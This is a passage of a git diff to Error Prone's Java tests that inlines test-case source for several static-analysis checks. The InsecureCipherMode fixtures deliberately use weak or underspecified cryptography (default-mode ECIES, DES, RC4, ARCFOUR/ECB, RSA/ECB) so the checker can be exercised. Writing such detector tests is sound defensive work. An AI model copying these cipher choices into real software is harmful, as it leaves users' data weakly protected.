Cipher.getInstance(transformation); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher IesCipher; + + static { + try { + // BUG: Diagnostic contains: the mode and padding must be explicitly specified + IesCipher = Cipher.getInstance("ECIES"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIES/DHAES/NoPadding"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESWITHAES/NONE/PKCS5Padding"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("DHIESWITHAES/DHAES/PKCS7Padding"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESWITHDESEDE/NONE/NOPADDING"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("DHIESWITHDESEDE/DHAES/PKCS5PADDING"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESWITHAES/CBC/PKCS7PADDING"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESWITHAES-CBC/NONE/PKCS5PADDING"); + // BUG: Diagnostic contains: IES + IesCipher = Cipher.getInstance("ECIESwithDESEDE-CBC/DHAES/NOPADDING"); + + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + interface StringProvider { + String get(); + } + + public void keyOperations(StringProvider provider) { + KeyFactory keyFactory; + KeyAgreement keyAgreement; + KeyPairGenerator keyPairGenerator; + final String dh = "DH"; + try { + // BUG: Diagnostic contains: compile-time constant + keyFactory = KeyFactory.getInstance(provider.get()); + // BUG: Diagnostic contains: Diffie-Hellman on prime fields + keyFactory = KeyFactory.getInstance(dh); + // BUG: Diagnostic contains: DSA + keyAgreement = KeyAgreement.getInstance("DSA"); + // BUG: Diagnostic contains: compile-time constant + keyAgreement = KeyAgreement.getInstance(provider.get()); + // BUG: Diagnostic contains: Diffie-Hellman on prime fields + keyPairGenerator = KeyPairGenerator.getInstance(dh); + // BUG: Diagnostic contains: compile-time constant + keyPairGenerator = KeyPairGenerator.getInstance(provider.get()); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/InsecureCipherModeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "InsecureCipherModeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.security.KeyFactory; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import javax.crypto.Cipher; +import javax.crypto.KeyAgreement; +import javax.crypto.NoSuchPaddingException; + +/** + * @author avenet@google.com (Arnaud J. Venet) + */ +public class InsecureCipherModeNegativeCases { + static Cipher aesCipher; + + static { + // We don't handle any exception as this code is not meant to be executed. + try { + aesCipher = Cipher.getInstance("AES/CBC/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static final String AES_STRING = "AES/CBC/NoPadding"; + static Cipher aesCipherWithConstantString; + + static { + try { + aesCipherWithConstantString = Cipher.getInstance(AES_STRING); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher aesCipherWithProvider; + + static { + try { + aesCipherWithProvider = Cipher.getInstance("AES/CBC/NoPadding", "My Provider"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchProviderException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher arc4CipherConscrypt; + + static { + try { + arc4CipherConscrypt = Cipher.getInstance("ARC4", "Conscrypt"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchProviderException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher rc4CipherJsch; + + static { + try { + rc4CipherJsch = Cipher.getInstance("RC4", "JSch"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchProviderException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher arcfourCipherSunJce; + + static { + try { + arcfourCipherSunJce = Cipher.getInstance("ARCFOUR/ECB/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher desCipher; + + static { + try { + desCipher = Cipher.getInstance("DES/CBC/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher rsaCipher; + + static { + try { + rsaCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + static Cipher aesWrapCipher; + + static { + try { + aesWrapCipher = Cipher.getInstance("AESWrap/ECB/NoPadding"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } catch (NoSuchPaddingException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } + + public void ellipticCurveDiffieHellman() { + KeyFactory keyFactory; + KeyAgreement keyAgreement; + KeyPairGenerator keyPairGenerator; + final String ecdh = "ECDH"; + try { + keyFactory = KeyFactory.getInstance(ecdh); + keyAgreement = KeyAgreement.getInstance("ECDH"); + keyPairGenerator = KeyPairGenerator.getInstance("EC" + "DH"); + } catch (NoSuchAlgorithmException e) { + // We don't handle any exception as this code is not meant to be executed. + } + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/InstanceOfAndCastMatchWrongTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/InstanceOfAndCastMatchWrongTypeTest.java index 2dc7f800143..abdf04bf1df 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/InstanceOfAndCastMatchWrongTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/InstanceOfAndCastMatchWrongTypeTest.java @@ -32,14 +32,445 @@ public class InstanceOfAndCastMatchWrongTypeTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java") + .addSourceLines( + "InstanceOfAndCastMatchWrongTypePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Created by sulku and mariasam on 6/6/17. + * + * @author mariasam (Maria Sam) + * @author sulku (Marsela Sulku) + */ + public class InstanceOfAndCastMatchWrongTypePositiveCases { + + private static void basicIllegalCast(Object foo2) { + if (foo2 instanceof SuperClass) { + // BUG: Diagnostic contains: Casting inside + String str = ((String) foo2).toString(); + } + } + + private static void basicIllegalCastJavaClass(Object foo2) { + if (foo2 instanceof String) { + // BUG: Diagnostic contains: Casting inside + double val = ((Integer) foo2).doubleValue(); + } + } + + private static void andsInIf(Object foo2) { + if (foo2 instanceof String && 7 == 7) { + // BUG: Diagnostic contains: Casting inside + double val = ((Integer) foo2).doubleValue(); + } + } + + private static void andsInIfInstanceOfLast(Object foo2) { + if (7 == 7 && foo2 instanceof String) { + // BUG: Diagnostic contains: Casting inside + double val = ((Integer) foo2).doubleValue(); + } + } + + private static void andsInIfInstanceOfMiddle(Object foo2) { + if (7 == 7 && foo2 instanceof String && 8 == 8) { + // BUG: Diagnostic contains: Casting inside + double val = ((Integer) foo2).doubleValue(); + } + } + + private static void castingInIfWithElse(Object foo2) { + if (foo2 instanceof String) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } else { + String str = ""; + } + } + + private static void castMultipleInIfAndElse(Object foo2, Object foo3) { + if (foo2 instanceof String) { + String str = ((Integer) foo3).toString(); + // BUG: Diagnostic contains: Casting inside + String str2 = ((Integer) foo2).toString(); + } else { + String str = ((Integer) foo3).toString(); + String str2 = ""; + } + } + + private static void multipleAndsInIf(Object foo2) { + // BUG: Diagnostic contains: Casting inside + if (7 == 7 && (foo2 instanceof SuperClass) && (((String) foo2).equals(""))) { + String str = ""; + } + } + + private static void castOneObjectWithMultipleObjectsInIf(Object foo2, Object foo3) { + if (7 == 7 && foo3 instanceof String && foo2 instanceof String) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + + private static void aboveTestButDifferentOrder(Object foo2, Object foo3) { + if (7 == 7 && foo2 instanceof String && foo3 instanceof String) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + + private static void nestedIf(Object foo2) { + if (foo2 instanceof String) { + if (7 == 7) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + } + + private static void nestedIfWithElse(Object foo2) { + if (foo2 instanceof String) { + if (7 == 7) { + String str = ""; + } else { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + } + + private static void assignmentInBlockDiffVariable(Object foo2) { + String foo1; + if (foo2 instanceof SuperClass) { + foo1 = ""; + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + } + } + + private static void assignmentInBlock(Object foo2) { + if (foo2 instanceof SuperClass) { + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + foo2 = ""; + } + } + + private static void assignmentInBlockTwice(Object foo2) { + Object foo1 = null; + if (foo2 instanceof SuperClass) { + foo1 = ""; + // BUG: Diagnostic contains: Casting inside + String str = ((Integer) foo2).toString(); + foo2 = ""; + } + } + + private static void testSameClass(Object foo) { + if (foo instanceof String) { + InstanceOfAndCastMatchWrongTypePositiveCases other = + // BUG: Diagnostic contains: Casting inside + (InstanceOfAndCastMatchWrongTypePositiveCases) foo; + } + } + + private static void testElseIf(Object foo) { + if (foo instanceof String) { + String str = (String) foo; + } else if (foo instanceof String) { + // BUG: Diagnostic contains: Casting inside + Integer i = (Integer) foo; + } else { + foo = (SuperClass) foo; + } + } + + public static String testCall() { + return ""; + } + } + + class SuperClass {}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java") + .addSourceLines( + "InstanceOfAndCastMatchWrongTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.FilterWriter; +import java.io.StringWriter; +import java.io.Writer; + +/** + * Created by sulku and mariasam on 6/6/17. + * + * @author mariasam (Maria Sam) + * @author sulku (Marsela Sulku) + */ +public class InstanceOfAndCastMatchWrongTypeNegativeCases { + + public static void notCustomClass(Object objSubClass) { + if (!(objSubClass instanceof SuperNegativeClass)) { + DisjointClass str = (DisjointClass) objSubClass; + } + } + + public static void hi(String foo) { + if (foo instanceof String) { + ((String) foo).charAt(0); + } + } + + public static void castToSameClass(String foo) { + if (foo instanceof String) { + ((String) foo).charAt(0); + } + } + + public static void castToSameClassWithExtraLines(String foo) { + if (foo instanceof String) { + String somethingBefore = "hello"; + ((String) foo).charAt(0); + String somethingAfter = "goodbye"; + } + } + + public static void castAMethod() { + if (testCall() instanceof String) { + String bar = (String) testCall(); + } + } + + public static void castToSuperType(String foo) { + if (foo instanceof String) { + Object bar = ((Object) foo).toString(); + } + } + + public static void castMethodToSuperType(String foo) { + if (testCall() instanceof String) { + Object bar = (Object) testCall(); + } + } + + public static void castToCustomSuperType() { + SuperNegativeClass superClass = new SuperNegativeClass(); + SubNegativeClass subClass = new SubNegativeClass(); + + if (subClass instanceof SubNegativeClass) { + String str = ((SuperNegativeClass) subClass).toString(); + } + } + + public static void castToSubtype(String foo) { + if (foo instanceof Object) { + String somethingBefore = "hello"; + String bar = ((String) foo).toString(); + String somethingAfter = "goodbye"; + } + } + + public static void nestedIfStatements(String foo) { + if (7 == 7) { + if (foo instanceof Object) { + String bar = ((String) foo).toString(); + } + } + } + + public static void castMethodToSubType() { + if (testCall() instanceof Object) { + String bar = ((String) testCall()).toString(); + } + } + + public static void castAMethodInElse() { + if (testCall() instanceof Object) { + String str = ""; + } else { + String bar = ((String) testCall()).toString(); + } + } + + public static void nestedIfOutside() { + SubNegativeClass subClass = new SubNegativeClass(); + if (subClass instanceof SuperNegativeClass) { + if (7 == 7) { + String bar = ((SuperNegativeClass) subClass).toString(); + } + } + } + + public static void nestedIfElseInIf() { + SubNegativeClass subClass = new SubNegativeClass(); + if (subClass instanceof SuperNegativeClass) { + if (7 == 7) { + String bar = ((SuperNegativeClass) subClass).toString(); + } else { + String str = ""; + } + } + } + + public static void elseIfMethod() { + if (testCall() instanceof Object) { + String str = ""; + } else if (7 == 7) { + String bar = ((String) testCall()).toString(); + } else { + String str = ""; + } + } + + public static void nestedSubClasses(Object objSubClass) { + if (objSubClass instanceof SuperNegativeClass) { + if (objSubClass instanceof DisjointClass) { + DisjointClass disClass = (DisjointClass) objSubClass; + } + } + } + + public static void switchCaseStatement(Object objSubClass) { + Integer datatype = 0; + if (objSubClass instanceof SuperNegativeClass) { + String str = ""; + } else { + switch (datatype) { + case 0: + DisjointClass str = (DisjointClass) objSubClass; + break; + default: + break; + } + } + } + + public static void nestedAnd(String foo, Object foo3) { + if (foo instanceof String) { + if (foo3 instanceof SuperNegativeClass && ((SuperNegativeClass) foo3).toString().equals("")) { + String str = foo3.toString(); + } + } + } + + private static void multipleElseIf(Object foo3) { + if (foo3 instanceof String) { + String str = ""; + } else if (7 == 7 && foo3 instanceof SuperNegativeClass) { + ((SuperNegativeClass) foo3).toString(); + } else if (8 == 8) { + DisjointClass dis = (DisjointClass) foo3; + } + } + + private static void orInCondition(Object foo3) { + if (foo3 instanceof String || 7 == 7) { + String str = ((DisjointClass) foo3).toString(); + } + } + + private static void castInElse(Object foo3) { + if (foo3 instanceof String) { + String str = ""; + } else { + String str = ((DisjointClass) foo3).toString(); + } + } + + private static void multipleObjectCasts(Object foo2, Object foo3) { + if (foo3 instanceof String) { + String str = ((DisjointClass) foo2).toString(); + } else { + String str = ((DisjointClass) foo3).toString(); + } + } + + private static void orsAndAnds(Object foo2) { + if (7 == 7 && (foo2 instanceof DisjointClass) && (!((DisjointClass) foo2).equals(""))) { + String str = ""; + } + } + + private static void assignmentInBlock(Object foo2) { + if (foo2 instanceof SuperNegativeClass) { + foo2 = ""; + String str = ((Integer) foo2).toString(); + } + } + + private static void assignmentInBlockElse(Object foo2) { + String foo1; + if (foo2 instanceof SuperNegativeClass) { + String str = ""; + } else { + foo1 = ""; + String str = ((Integer) foo2).toString(); + } + } + + private static void assignmentInBlockElseIf(Object foo2) { + Object foo1 = null; + if (foo2 instanceof SuperNegativeClass) { + String str = ""; + } else if (foo2 == foo1) { + foo1 = ""; + String str = ((Integer) foo2).toString(); + } + } + + private static void innerClassDecl(Object[] list) { + for (Object c : list) { + if (c instanceof String) { + try { + Writer fw = + new FilterWriter(new StringWriter()) { + public void write(int c) { + char a = (char) c; + } + }; + } catch (Exception e) { + String str = ""; + } + } + } + } + + private static void randomCode(Object foo) { + if (7 == 7) { + System.out.println("test"); + foo = (Integer) foo; + } + } + + private static void twoAssignments(Object foo, Object foo2) { + if (foo instanceof String) { + foo2 = ""; + String str = (String) foo; + foo = ""; + } + } + + public static String testCall() { + return ""; + } + + public static Object testCallReturnsObject() { + return new Object(); + } + + static class SuperNegativeClass {} + + static class SubNegativeClass extends SuperNegativeClass {} + + static class DisjointClass {} +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/InvalidPatternSyntaxTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/InvalidPatternSyntaxTest.java index 1bd97d3656d..9ce3d39d738 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/InvalidPatternSyntaxTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/InvalidPatternSyntaxTest.java @@ -32,11 +32,79 @@ public class InvalidPatternSyntaxTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/InvalidPatternSyntaxPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "InvalidPatternSyntaxPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.regex.Pattern; + + /** + * @author mdempsky@google.com (Matthew Dempsky) + */ + public class InvalidPatternSyntaxPositiveCases { + public static final String INVALID = "*"; + + { + // BUG: Diagnostic contains: Unclosed character class + Pattern.matches("[^\\\\]", ""); + // BUG: Diagnostic contains: Unclosed character class + Pattern.matches("[a-z", ""); + // BUG: Diagnostic contains: Illegal repetition + Pattern.matches("{", ""); + + // BUG: Diagnostic contains: + Pattern.matches(INVALID, ""); + // BUG: Diagnostic contains: + "".matches(INVALID); + // BUG: Diagnostic contains: + "".replaceAll(INVALID, ""); + // BUG: Diagnostic contains: + "".replaceFirst(INVALID, ""); + // BUG: Diagnostic contains: + "".split(INVALID); + // BUG: Diagnostic contains: + "".split(INVALID, 0); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/InvalidPatternSyntaxNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "InvalidPatternSyntaxNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.regex.Pattern; + + /** + * @author mdempsky@google.com (Matthew Dempsky) + */ + public class InvalidPatternSyntaxNegativeCases { + public void foo(String x) { + Pattern.compile("t"); + Pattern.compile("t", 0); + Pattern.matches("t", ""); + "".matches("t"); + "".replaceAll("t", ""); + "".replaceFirst("t", ""); + "".split("t"); + "".split("t", 0); + + Pattern.compile(x); + Pattern.compile(x, 0); + Pattern.matches(x, ""); + "".matches(x); + "".replaceAll(x, ""); + "".replaceFirst(x, ""); + "".split(x); + "".split(x, 0); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/IterableAndIteratorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/IterableAndIteratorTest.java index e116fca1152..28dda8e892c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/IterableAndIteratorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/IterableAndIteratorTest.java @@ -30,11 +30,191 @@ public class IterableAndIteratorTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/IterableAndIteratorPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "IterableAndIteratorPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Iterator; + +/** + * @author jsjeon@google.com (Jinseong Jeon) + */ +public class IterableAndIteratorPositiveCases { + + /** Test Node */ + public static class MyNode { + String tag; + MyNode next; + } + + /** Test List that implements both Iterator and Iterable */ + // BUG: Diagnostic contains: both + public static class MyBadList implements Iterator, Iterable { + private MyNode head; + + public MyBadList() { + head = null; + } + + @Override + public boolean hasNext() { + return head != null; + } + + @Override + public MyNode next() { + if (hasNext()) { + MyNode ret = head; + head = head.next; + return ret; + } + return null; + } + + @Override + public void remove() { + throw new UnsupportedOperationException("remove is not supported"); + } + + public void add(MyNode node) { + if (!hasNext()) { + head.next = node; + } + head = node; + } + + @Override + public Iterator iterator() { + return this; + } + } + + /** Test List that extends the above bad implementation Diagnostic should bypass this */ + public static class MyBadListInherited extends MyBadList { + public MyBadListInherited() {} + } + + /** Test List that implements only Iterator */ + public static class MyGoodList implements Iterator { + private MyNode head; + + public MyGoodList() { + head = null; + } + + @Override + public boolean hasNext() { + return head != null; + } + + @Override + public MyNode next() { + if (hasNext()) { + MyNode ret = head; + head = head.next; + return ret; + } + return null; + } + + @Override + public void remove() { + throw new UnsupportedOperationException("remove is not supported"); + } + + public void add(MyNode node) { + if (!hasNext()) { + head.next = node; + } + head = node; + } + } + + /** Test List that implicitly implements both interfaces */ + // BUG: Diagnostic contains: both + public static class MyImplicitlyBadList extends MyGoodList implements Iterable { + + public MyImplicitlyBadList() {} + + @Override + public Iterator iterator() { + return this; + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/IterableAndIteratorNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "IterableAndIteratorNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Iterator; + + /** + * @author jsjeon@google.com (Jinseong Jeon) + */ + public class IterableAndIteratorNegativeCases { + + /** Test Node */ + public static class MyNode { + String tag; + MyNode next; + } + + /** Test List that implements only Iterator */ + public static class MyList1 implements Iterator { + private MyNode head; + + public MyList1() { + head = null; + } + + @Override + public boolean hasNext() { + return head != null; + } + + @Override + public MyNode next() { + if (hasNext()) { + MyNode ret = head; + head = head.next; + return ret; + } + return null; + } + + @Override + public void remove() { + throw new UnsupportedOperationException("remove is not supported"); + } + + public void add(MyNode node) { + if (!hasNext()) { + head.next = node; + } + head = node; + } + } + + /** Test List that implements only Iterable */ + public static class MyList2 implements Iterable { + + @Override + public Iterator iterator() { + MyList1 l = new MyList1(); + // code to populate the list goes here + return l; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit3TestNotRunTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit3TestNotRunTest.java index 4308f5652d2..366631a087b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit3TestNotRunTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit3TestNotRunTest.java @@ -35,7 +35,39 @@ public class JUnit3TestNotRunTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + + /** + * @author rburny@google.com (Radoslaw Burny) + */ + public class JUnit3TestNotRunPositiveCases extends TestCase { + // BUG: Diagnostic contains: JUnit3TestNotRun + public static void tesNameStatic() {} + + // These names are trickier to correct, but we should still indicate the bug + // BUG: Diagnostic contains: JUnit3TestNotRun + public void tetsName() {} + + // BUG: Diagnostic contains: JUnit3TestNotRun + public void tesstName() {} + + // BUG: Diagnostic contains: JUnit3TestNotRun + public void tesetName() {} + + // BUG: Diagnostic contains: JUnit3TestNotRun + public void tesgName() {} + + // tentative - can cause false positives + // BUG: Diagnostic contains: JUnit3TestNotRun + public void textName() {} + }""") + .doTest(); } @Test @@ -312,29 +344,218 @@ public void testDoesStuff() {} @Test public void negativeCase1() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunNegativeCase1.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunNegativeCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Ignore; + import org.junit.Test; + + /** + * @author rburny@google.com (Radoslaw Burny) + */ + public class JUnit3TestNotRunNegativeCase1 extends TestCase { + + // correctly spelled + public void test() {} + + public void testCorrectlySpelled() {} + + // real words + public void bestNameEver() {} + + public void destroy() {} + + public void restore() {} + + public void establish() {} + + public void estimate() {} + + // different signature + public boolean teslaInventedLightbulb() { + return true; + } + + public void tesselate(float f) {} + + // surrounding class is not a JUnit3 TestCase + private static class TestCase { + private void tesHelper() {} + + private void destroy() {} + } + + // correct test, despite redundant annotation + @Test + public void testILikeAnnotations() {} + + // both @Test & @Ignore + @Test + @Ignore + public void ignoredTest2() {} + + @Ignore + @Test + public void ignoredTest() {} + }""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunNegativeCase2.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** + * JUnit4 test class - we should not issue errors on that. + * + * @author rburny@google.com (Radoslaw Burny) + */ + @RunWith(JUnit4.class) + public class JUnit3TestNotRunNegativeCase2 { + + // JUnit4 tests should be ignored, no matter what their names are. + @Test + public void nameDoesNotStartWithTest() {} + + @Test + public void tesName() {} + + @Test + public void tstName() {} + + @Test + public void TestName() {} + }""") + .doTest(); } @Test public void negativeCase3() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunNegativeCase3.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunNegativeCase3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runner.Runner; + + /** + * Tricky case - mixed JUnit3 and JUnit4. + * + * @author rburny@google.com (Radoslaw Burny) + */ + @RunWith(Runner.class) + public class JUnit3TestNotRunNegativeCase3 extends TestCase { + + @Test + public void name() {} + + public void tesMisspelled() {} + + @Test + public void tesBothIssuesAtOnce() {} + }""") + .doTest(); } @Test public void negativeCase4() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunNegativeCase4.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunNegativeCase4.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import junit.framework.TestCase; +import org.junit.Test; + +/** + * Abstract class - let's ignore those for now, it's hard to say what are they run with. + * + * @author rburny@google.com (Radoslaw Burny) + */ +public abstract class JUnit3TestNotRunNegativeCase4 extends TestCase { + + @Test + public void name() {} + + public void tesMisspelled() {} + + @Test + public void tesBothIssuesAtOnce() {} +}""") + .doTest(); } @Test public void negativeCase5() { compilationHelper - .addSourceFile("testdata/JUnit3TestNotRunNegativeCase3.java") // needed as a dependency - .addSourceFile("testdata/JUnit3TestNotRunNegativeCase5.java") + .addSourceLines( + "JUnit3TestNotRunNegativeCase3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runner.Runner; + + /** + * Tricky case - mixed JUnit3 and JUnit4. + * + * @author rburny@google.com (Radoslaw Burny) + */ + @RunWith(Runner.class) + public class JUnit3TestNotRunNegativeCase3 extends TestCase { + + @Test + public void name() {} + + public void tesMisspelled() {} + + @Test + public void tesBothIssuesAtOnce() {} + }""") + // needed as a dependency + .addSourceLines( + "JUnit3TestNotRunNegativeCase5.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.Test; + + /** + * Class inherits RunWith from superclass, so should not emit errors. + * + * @author rburny@google.com (Radoslaw Burny) + */ + public class JUnit3TestNotRunNegativeCase5 extends JUnit3TestNotRunNegativeCase3 { + + public void testEasyCase() {} + + @Test + public void name() {} + + public void tesMisspelled() {} + + @Test + public void tesBothIssuesAtOnce() {} + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4SetUpNotRunTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4SetUpNotRunTest.java index a3ab6914988..9412760815e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4SetUpNotRunTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4SetUpNotRunTest.java @@ -38,13 +38,103 @@ public class JUnit4SetUpNotRunTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/JUnit4SetUpNotRunPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4SetUpNotRunPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import org.junit.After; +import org.junit.AfterClass; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Basic class with an untagged setUp method */ +@RunWith(JUnit4.class) +public class JUnit4SetUpNotRunPositiveCases { + // BUG: Diagnostic contains: @Before + public void setUp() {} +} + +@RunWith(JUnit4.class) +class J4PositiveCase2 { + // BUG: Diagnostic contains: @Before + protected void setUp() {} +} + +/** + * Replace @After with @Before + */ +@RunWith(JUnit4.class) +class J4AfterToBefore { + // BUG: Diagnostic contains: @Before + @After + protected void setUp() {} +} + +/** + * Replace @AfterClass with @BeforeClass + */ +@RunWith(JUnit4.class) +class J4AfterClassToBeforeClass { + // BUG: Diagnostic contains: @BeforeClass + @AfterClass + protected void setUp() {} +} + +class BaseTestClass { + void setUp() {} +} + +/** + * This is the ambiguous case that we want the developer to make the determination as to + * whether to rename setUp() + */ +@RunWith(JUnit4.class) +class J4Inherit extends BaseTestClass { + // BUG: Diagnostic contains: @Before + protected void setUp() {} +} + +/** + * setUp() method overrides parent method with @Override, but that method isn't @Before in the + * superclass + */ +@RunWith(JUnit4.class) +class J4OverriddenSetUp extends BaseTestClass { + // BUG: Diagnostic contains: @Before + @Override protected void setUp() {} +} + +@RunWith(JUnit4.class) +class J4OverriddenSetUpPublic extends BaseTestClass { + // BUG: Diagnostic contains: @Before + @Override public void setUp() {} +}""") + .doTest(); } @Test public void positiveCase_customBefore() { compilationHelper - .addSourceFile("testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java") + .addSourceLines( + "JUnit4SetUpNotRunPositiveCaseCustomBefore.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Slightly funky test case with a custom Before annotation */ + @RunWith(JUnit4.class) + public class JUnit4SetUpNotRunPositiveCaseCustomBefore { + // This will compile-fail and suggest the import of org.junit.Before + // BUG: Diagnostic contains: @Before + @Before + public void setUp() {} + } + + @interface Before {}""") .doTest(); } @@ -90,13 +180,116 @@ 